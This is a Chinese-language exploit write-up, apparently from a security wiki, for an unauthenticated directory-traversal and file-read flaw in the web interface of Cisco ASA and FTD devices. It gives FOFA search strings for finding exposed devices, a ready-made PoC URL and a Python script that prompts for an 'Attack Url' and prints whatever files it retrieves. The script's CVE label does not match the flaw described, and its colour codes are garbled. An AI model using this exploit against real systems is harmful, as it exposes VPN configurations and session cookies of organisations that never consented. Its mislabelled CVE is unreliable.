漏洞描述

Cisco Adaptive Security Appliance (ASA) 防火墙设备以及Cisco Firepower Threat Defense (FTD)设备的WEB管理界面存在未授权的目录穿越漏洞和远程任意文件读取漏洞,允许未经身份验证的远程攻击者进行目录遍历攻击并读取目标系统上的敏感文件,此漏洞不能用于获取对ASA或FTD系统文件或底层操作系统(OS)文件的访问,所以只能读取web系统目录的文件,比如webvpn的配置文件、书签、网络cookies、部分网络内容和超文本传输协议网址等信息。
 
 

影响版本

Cisco ASA设备



Cisco FTD设备



 
 

漏洞复现

FOFA

/+CSCOE+/

app="CISCO-ASA"
app="CISCO-ASA-5520"


POC如下

https://xxx.xxx.xxx.xxx/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../





 

漏洞利用POC

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.tech

import requests
import base64
import sys
import urllib3

def title():
    print('+------------------------------------------')
    print('+  33[34mPOC_Des: http://wiki.peiqi.tech                                   33[0m')
    print('+  33[34mGithub : https://github.com/PeiQi0                                 33[0m')
    print('+  33[34m公众号 : PeiQi文库                                                     33[0m')
    print('+  33[34mVersion: Cisco                                                    33[0m')
    print('+  33[36m使用格式: python3 CVE-2020-1956                                    33[0m')
    print('+  33[36mUrl    >>> http://xxx.xxx.xxx.xxx                                 33[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vnln_url = target_url + "/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"
    headers = {
        "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
    }

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    response = requests.get(url=vnln_url, headers=headers, verify=False ,timeout=20)
    if "Bad Request" in response.text:
            print("33[31m[x] 漏洞已修复 33[0m")
    else:
            print("33[32m[o] 存在漏洞,响应为n33[0m",response.text)



if __name__ == '__main__':
    title()
    target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m"))
    POC_1(target_url)